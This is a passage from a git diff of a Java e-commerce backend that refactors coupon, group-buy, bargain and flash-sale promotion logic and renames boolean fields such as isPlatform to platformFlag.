promotionGoods.getPromotionType().equals(PromotionTypeEnum.SECKILL.name())).findAny(); //有促销金额则用促销金额,否则用商品原价 - if (promotionOptional.isPresent()) { - cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(promotionOptional.get().getPrice(), cartSkuVO.getNum())); - skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(promotionOptional.get().getPrice(), cartSkuVO.getNum())); + if (cartSkuVO.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name()) || i.contains(PromotionTypeEnum.SECKILL.name()))) { + cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); + skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); } else { cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); @@ -612,7 +627,7 @@ public class CartServiceImpl implements CartService { //如果购物车金额大于消费门槛则使用 if (cartPrice >= memberCoupon.getConsumeThreshold()) { //如果是平台优惠券 - if (memberCoupon.getIsPlatform()) { + if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) { tradeDTO.setPlatformCoupon(new MemberCouponDTO(skuPrice, memberCoupon)); } else { tradeDTO.getStoreCoupons().put(memberCoupon.getStoreId(), new MemberCouponDTO(skuPrice, memberCoupon)); @@ -631,7 +646,7 @@ public class CartServiceImpl implements CartService { private List checkCoupon(MemberCoupon memberCoupon, TradeDTO tradeDTO) { List cartSkuVOS; //如果是店铺优惠券,判定的内容 - if (!memberCoupon.getIsPlatform()) { + if (Boolean.FALSE.equals(memberCoupon.getPlatformFlag())) { cartSkuVOS = tradeDTO.getSkuList().stream().filter(i -> i.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList()); } //否则为平台优惠券,筛选商品为全部商品 @@ -687,27 +702,16 @@ public class CartServiceImpl implements CartService { private void checkPintuan(CartSkuVO cartSkuVO) { //拼团活动,需要对限购数量进行判定 //获取拼团信息 - List currentPromotion = cartSkuVO.getPromotions().stream().filter( - promotionGoods -> (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name()))) - .collect(Collectors.toList()); - //拼团活动判定 - if (!currentPromotion.isEmpty()) { - PromotionGoods promotionGoods = currentPromotion.get(0); + Optional> pintuanPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (pintuanPromotions.isPresent()) { + Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); //写入拼团信息 - cartSkuVO.setPintuanId(promotionGoods.getPromotionId()); - //写入成交信息 - cartSkuVO.setUtilPrice(promotionGoods.getPrice()); - cartSkuVO.setPurchasePrice(promotionGoods.getPrice()); - } else { - //如果拼团活动被异常处理,则在这里安排mq重新写入商品索引 - goodsSkuService.generateEs(goodsService.getById(cartSkuVO.getGoodsSku().getGoodsId())); - throw new ServiceException(ResultCode.CART_PINTUAN_NOT_EXIST_ERROR); - } - //检测拼团限购数量 - Pintuan pintuan = pintuanService.getById(cartSkuVO.getPintuanId()); - Integer limitNum = pintuan.getLimitNum(); - if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { - throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); + cartSkuVO.setPintuanId(pintuan.getId()); + //检测拼团限购数量 + Integer limitNum = pintuan.getLimitNum(); + if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { + throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); + } } } @@ -718,29 +722,32 @@ public class CartServiceImpl implements CartService { */ private void checkKanjia(CartSkuVO cartSkuVO) { - //根据skuId获取砍价商品 - KanjiaActivityGoods kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); + Optional> kanjiaPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); + if (kanjiaPromotions.isPresent()) { + KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + //查找当前会员的砍价商品活动 + KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); + kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoods.getId()); + kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); + kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); + KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); - //查找当前会员的砍价商品活动 - KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); - kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoodsDTO.getId()); - kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); - kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); - KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); - - //校验砍价活动是否满足条件 - //判断发起砍价活动 - if (kanjiaActivity == null) { - throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR); - //判断砍价活动是否已满足条件 - } else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) { + //校验砍价活动是否满足条件 + //判断发起砍价活动 + if (kanjiaActivity == null) { + throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR); + //判断砍价活动是否已满足条件 + } else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) { + cartSkuVO.setKanjiaId(kanjiaActivity.getId()); + cartSkuVO.setPurchasePrice(0D); + throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR); + } + //砍价商品默认一件货物 cartSkuVO.setKanjiaId(kanjiaActivity.getId()); - cartSkuVO.setPurchasePrice(0D); - throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR); + cartSkuVO.setNum(1); } - //砍价商品默认一件货物 - cartSkuVO.setKanjiaId(kanjiaActivity.getId()); - cartSkuVO.setNum(1); + + } /** diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java index e9edf4b3..22d0e877 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java @@ -12,7 +12,6 @@ import cn.lili.modules.order.cart.entity.enums.DeliveryMethodEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.order.order.entity.enums.*; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; @@ -274,9 +273,8 @@ public class Order extends BaseEntity { //判断是否为拼团订单,如果为拼团订单获取拼团ID,判断是否为主订单 if (tradeDTO.getCartTypeEnum().name().equals(PromotionTypeEnum.PINTUAN.name())) { - Optional pintuanId = cartVO.getCheckedSkuList().get(0).getPromotions().stream() - .filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); - promotionId = pintuanId.get(); + Optional pintuanPromotions = cartVO.getCheckedSkuList().get(0).getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + pintuanPromotions.ifPresent(s -> promotionId = s.split("-")[1]); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 52201b71..16b90c07 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -15,6 +15,7 @@ import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.OperationalJudgment; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; +import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.StringUtils; import cn.lili.modules.goods.entity.dto.GoodsCompleteMessage; import cn.lili.modules.member.entity.dto.MemberAddressDTO; @@ -251,7 +252,7 @@ public class OrderServiceImpl extends ServiceImpl implements LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); queryWrapper.eq(Order::getPromotionId, pintuanId); - queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or().eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())); + queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or(j -> j.eq(Order::getOrderStatus, OrderStatusEnum.PAID.name()))); return this.list(queryWrapper); } @@ -693,12 +694,11 @@ public class OrderServiceImpl extends ServiceImpl implements @Override public boolean checkFictitiousOrder(String pintuanId, Integer requiredNum, Boolean fictitious) { Map> collect = this.queryListByPromotion(pintuanId) - .stream().filter(i -> CharSequenceUtil.isNotEmpty(i.getParentOrderSn())) - .collect(Collectors.groupingBy(Order::getParentOrderSn)); + .stream().collect(Collectors.groupingBy(Order::getParentOrderSn)); for (Map.Entry> entry : collect.entrySet()) { //是否开启虚拟成团 - if (Boolean.FALSE.equals(fictitious) && entry.getValue().size() < requiredNum) { + if (Boolean.FALSE.equals(fictitious) && CharSequenceUtil.isNotEmpty(entry.getKey()) && entry.getValue().size() < requiredNum) { //如果未开启虚拟成团且已参团人数小于成团人数,则自动取消订单 String reason = "拼团活动结束订单未付款,系统自动取消订单"; if (CharSequenceUtil.isNotEmpty(entry.getKey())) { @@ -739,7 +739,9 @@ public class OrderServiceImpl extends ServiceImpl implements //添加虚拟成团 for (int i = 0; i < waitNum; i++) { Order order = new Order(); - BeanUtil.copyProperties(paidOrders.get(0), order); + BeanUtil.copyProperties(paidOrders.get(0), order, "id", "sn"); + order.setSn(SnowFlake.createStr("G")); + order.setParentOrderSn(paidOrders.get(0).getParentOrderSn()); order.setMemberId("-1"); order.setMemberName("参团人员"); order.setDeleteFlag(true); @@ -748,6 +750,7 @@ public class OrderServiceImpl extends ServiceImpl implements } for (Order paidOrder : paidOrders) { paidOrder.setOrderStatus(OrderStatusEnum.UNDELIVERED.name()); + this.updateById(paidOrder); orderStatusMessage(paidOrder); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java index 48b894e0..e7ea4388 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java @@ -31,34 +31,34 @@ public class FullDiscount extends BasePromotions { private Double fullMoney; @ApiModelProperty(value = "活动是否减现金") - private Boolean isFullMinus; + private Boolean fullMinusFlag; @ApiModelProperty(value = "减现金") private Double fullMinus; @ApiModelProperty(value = "是否打折") - private Boolean isFullRate; + private Boolean fullRateFlag; @ApiModelProperty(value = "打折") private Double fullRate; @ApiModelProperty(value = "是否赠送积分") - private Boolean isPoint; + private Boolean pointFlag; @ApiModelProperty(value = "赠送多少积分") private Integer point; @ApiModelProperty(value = "是否包邮") - private Boolean isFreeFreight; + private Boolean freeFreightFlag; @ApiModelProperty(value = "是否有赠品") - private Boolean isGift; + private Boolean giftFlag; @ApiModelProperty(value = "赠品id") private String giftId; @ApiModelProperty(value = "是否赠优惠券") - private Boolean isCoupon; + private Boolean couponFlag; @ApiModelProperty(value = "优惠券id") private String couponId; @@ -71,45 +71,45 @@ public class FullDiscount extends BasePromotions { private String description; - public Boolean getIsFullMinus() { - if (isFullMinus == null) { + public Boolean getFullMinusFlag() { + if (fullMinusFlag == null) { return false; } - return isFullMinus; + return fullMinusFlag; } - public Boolean getIsFullRate() { - if (isFullRate == null) { + public Boolean getFullRateFlag() { + if (fullRateFlag == null) { return false; } - return isFullRate; + return fullRateFlag; } - public Boolean getIsPoint() { - if (isPoint == null) { + public Boolean getPointFlag() { + if (pointFlag == null) { return false; } - return isPoint; + return pointFlag; } - public Boolean getIsFreeFreight() { - if (isFreeFreight == null) { + public Boolean getFreeFreightFlag() { + if (freeFreightFlag == null) { return false; } - return isFreeFreight; + return freeFreightFlag; } - public Boolean getIsGift() { - if (isGift == null) { + public Boolean getGiftFlag() { + if (giftFlag == null) { return false; } - return isGift; + return giftFlag; } - public Boolean getIsCoupon() { - if (isCoupon == null) { + public Boolean getCouponFlag() { + if (couponFlag == null) { return false; } - return isCoupon; + return couponFlag; } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java index e3127cbd..a726e780 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java @@ -86,7 +86,7 @@ public class MemberCoupon extends BaseEntity { private String getType; @ApiModelProperty(value = "是否是平台优惠券") - private Boolean isPlatform; + private Boolean platformFlag; @ApiModelProperty(value = "店铺承担比例") private Double storeCommission; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java index 2e53e971..2475528d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java @@ -124,6 +124,8 @@ public class PromotionGoods extends BaseEntity { } } + + public PromotionGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO) { if (kanjiaActivityGoodsDTO != null) { BeanUtil.copyProperties(kanjiaActivityGoodsDTO, this, "id"); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java index c4a5dc00..aafa8bc0 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java @@ -9,7 +9,7 @@ import lombok.Data; import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Collections; +import java.util.Arrays; import java.util.Date; /** @@ -70,7 +70,7 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); if (storeId != null) { - queryWrapper.in("store_id", Collections.singletonList(storeId)); + queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); } if (CharSequenceUtil.isNotEmpty(couponName)) { queryWrapper.like("coupon_name", couponName); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java index c6fb7a5e..7dc41e69 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java @@ -29,7 +29,7 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme private String storeId; @ApiModelProperty(value = "是否赠优惠券") - private Boolean isCoupon; + private Boolean couponFlag; @ApiModelProperty(value = "优惠券id") private String couponId; @@ -43,8 +43,8 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme if (storeId != null) { queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); } - if (isCoupon != null) { - queryWrapper.eq("is_coupon", isCoupon); + if (couponFlag != null) { + queryWrapper.eq("coupon_flag", couponFlag); } if (CharSequenceUtil.isNotEmpty(couponId)) { queryWrapper.eq("coupon_id", couponId); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java index 932b1c8c..f1740fe6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java @@ -4,14 +4,13 @@ package cn.lili.modules.promotion.entity.vos.kanjia; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.tools.PromotionTools; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Date; /** * 砍价活动商品查询通用类 @@ -19,44 +18,25 @@ import java.util.Date; * @author qiuqiu * @date 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class KanjiaActivityGoodsParams implements Serializable { +public class KanjiaActivityGoodsParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = 1344104067705714289L; @ApiModelProperty(value = "活动商品") private String goodsName; - @ApiModelProperty(value = "活动开始时间") - private Long startTime; - - @ApiModelProperty(value = "活动结束时间") - private Long endTime; - @ApiModelProperty(value = "skuId") private String skuId; - /** - * @see PromotionsStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.like("goods_name", goodsName); } - if (promotionStatus != null) { - queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(promotionStatus))); - } - if (startTime != null) { - queryWrapper.le("start_time", new Date(startTime)); - } - if (endTime != null) { - queryWrapper.ge("end_time", new Date(endTime)); - } if (UserContext.getCurrentUser() != null && UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { queryWrapper.gt("stock", 0); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java index bf5645c7..4f84cf77 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java @@ -9,9 +9,6 @@ import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; - -import java.util.List; /** @@ -20,7 +17,7 @@ import java.util.List; * @author qiuqiu * @date 2021/7/1 9:45 上午 */ -public interface KanjiaActivityGoodsService extends IService { +public interface KanjiaActivityGoodsService extends AbstractPromotionsService { /** @@ -31,15 +28,6 @@ public interface KanjiaActivityGoodsService extends IService getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO); - /** * 查询砍价活动商品分页信息 * @@ -59,6 +47,7 @@ public interface KanjiaActivityGoodsService extends IService ids); - } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java index 8564ef73..5b617f98 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -141,10 +141,11 @@ public abstract class AbstractPromotionsServiceImpl, T e for (String id : ids) { T promotions = this.getById(id); this.checkStatus(promotions); - promotions.setDeleteFlag(true); - this.updatePromotionsGoods(promotions); + promotions.setStartTime(null); + promotions.setEndTime(null); this.updateEsGoodsIndex(promotions); } + this.promotionGoodsService.deletePromotionGoods(ids); return this.removeByIds(ids); } @@ -245,7 +246,7 @@ public abstract class AbstractPromotionsServiceImpl, T e //删除商品促销消息 String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name(); //发送mq消息 - rocketMQTemplate.asyncSend(destination, promotions.getId(), RocketmqSendCallbackBuilder.commonCallback()); + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(promotions), RocketmqSendCallbackBuilder.commonCallback()); } else { String esPromotionKey = this.getPromotionType().name() + "-" + promotions.getId(); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index d1eaa380..e98c9306 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -203,7 +203,7 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl fullDiscounts = fullDiscountService.listFindAll(searchParams); if (fullDiscounts != null && !fullDiscounts.isEmpty()) { diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java index 82c5aa96..ecc64429 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java @@ -93,7 +93,7 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl implements KanjiaActivityGoodsService { +public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImpl implements KanjiaActivityGoodsService { /** * 规格商品 @@ -70,32 +70,44 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO) { - return this.page(PageUtil.initPage(pageVO), kanJiaActivityGoodsParams.wrapper()); - - } - @Override public IPage kanjiaGoodsVOPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO pageVO) { - return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.wrapper()); + return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.queryWrapper()); } @@ -248,15 +260,20 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl ids) { - PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); - searchParams.setPromotionIds(ids); - this.promotionGoodsService.deletePromotionGoods(searchParams); - return this.removeByIds(ids); + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.KANJIA; } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java index b43db085..e2c7f024 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java @@ -162,7 +162,7 @@ public class MemberCouponServiceImpl extends ServiceImpl i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getIsPlatform, true))); + queryWrapper.ge(MemberCoupon::getEndTime, new Date()).and(i -> i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getPlatformFlag, true))); return this.list(queryWrapper); } @@ -253,7 +253,7 @@ public class MemberCouponServiceImpl extends ServiceImpl seckillApplies) { if (seckillApplies != null && !seckillApplies.isEmpty()) { + // 更新促销范围 + List skuIds = seckillApplies.stream().map(SeckillApply::getSkuId).collect(Collectors.toList()); + seckill.setScopeId(ArrayUtil.join(skuIds.toArray(), ",")); + UpdateWrapper updateWrapper = new UpdateWrapper<>(); + updateWrapper.eq("id", seckill.getId()); + updateWrapper.set("scope_id", seckill.getScopeId()); + this.update(updateWrapper); //循环秒杀商品数据,将数据按照时间段进行存储 for (SeckillApply seckillApply : seckillApplies) { if (seckillApply.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())) { diff --git a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java index 770dd183..3ac5441a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java +++ b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java @@ -27,27 +27,6 @@ public class PromotionTools { public static final String START_TIME_COLUMN = "start_time"; public static final String END_TIME_COLUMN = "end_time"; - - /** - * 参数验证 - * 1、活动起始时间必须大于当前时间 - * 2、验证活动开始时间是否大于活动结束时间 - * - * @param startTime 活动开始时间 - * @param endTime 活动结束时间 - * @param num 参与活动商品数量 - * @param goodsList 选择的商品 - */ - public static void paramValid(Date startTime, Date endTime, int num, List goodsList) { - - checkPromotionTime(startTime, endTime); - - //如果促销活动选择的是部分商品参加活动 - if (num != -1 && goodsList == null) { - throw new ServiceException(ResultCode.PROMOTION_GOODS_ERROR); - } - } - /** * 参数验证 * 1、活动起始时间必须大于当前时间 diff --git a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java index 80e5db4a..a8eb648f 100644 --- a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java +++ b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java @@ -225,7 +225,7 @@ public class EsGoodsIndex implements Serializable { */ @Field(type = FieldType.Text) @ApiModelProperty("审核状态") - private String isAuth; + private String authFlag; /** * 卖点 @@ -305,7 +305,7 @@ public class EsGoodsIndex implements Serializable { this.selfOperated = sku.getSelfOperated(); this.salesModel = sku.getSalesModel(); this.marketEnable = sku.getMarketEnable(); - this.isAuth = sku.getIsAuth(); + this.authFlag = sku.getAuthFlag(); this.intro = sku.getIntro(); this.grade = sku.getGrade(); this.recommend = sku.getRecommend(); @@ -371,7 +371,7 @@ public class EsGoodsIndex implements Serializable { this.selfOperated = sku.getSelfOperated(); this.salesModel = sku.getSalesModel(); this.marketEnable = sku.getMarketEnable(); - this.isAuth = sku.getIsAuth(); + this.authFlag = sku.getAuthFlag(); this.intro = sku.getIntro(); this.grade = sku.getGrade(); this.releaseTime = new Date(); diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index fd17d645..2d70153b 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -133,10 +133,10 @@ public interface EsGoodsIndexService { /** * 删除索引中指定的促销活动id的促销活动 * - * @param skuId 商品skuId + * @param skuIds 商品skuId * @param promotionId 促销活动Id */ - void deleteEsGoodsPromotionByPromotionId(String skuId, String promotionId); + void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId); /** * 清除所以商品索引的无效促销活动 diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 5937d0d3..d4541f77 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -120,19 +120,19 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements try { //查询商品信息 LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); + queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name()); queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); List esGoodsIndices = new ArrayList<>(); LambdaQueryWrapper goodsQueryWrapper = new LambdaQueryWrapper<>(); - goodsQueryWrapper.eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()); + goodsQueryWrapper.eq(Goods::getAuthFlag, GoodsAuthEnum.PASS.name()); goodsQueryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()); for (Goods goods : goodsService.list(goodsQueryWrapper)) { LambdaQueryWrapper skuQueryWrapper = new LambdaQueryWrapper<>(); skuQueryWrapper.eq(GoodsSku::getGoodsId, goods.getId()); - skuQueryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); + skuQueryWrapper.eq(GoodsSku::getAuthFlag, 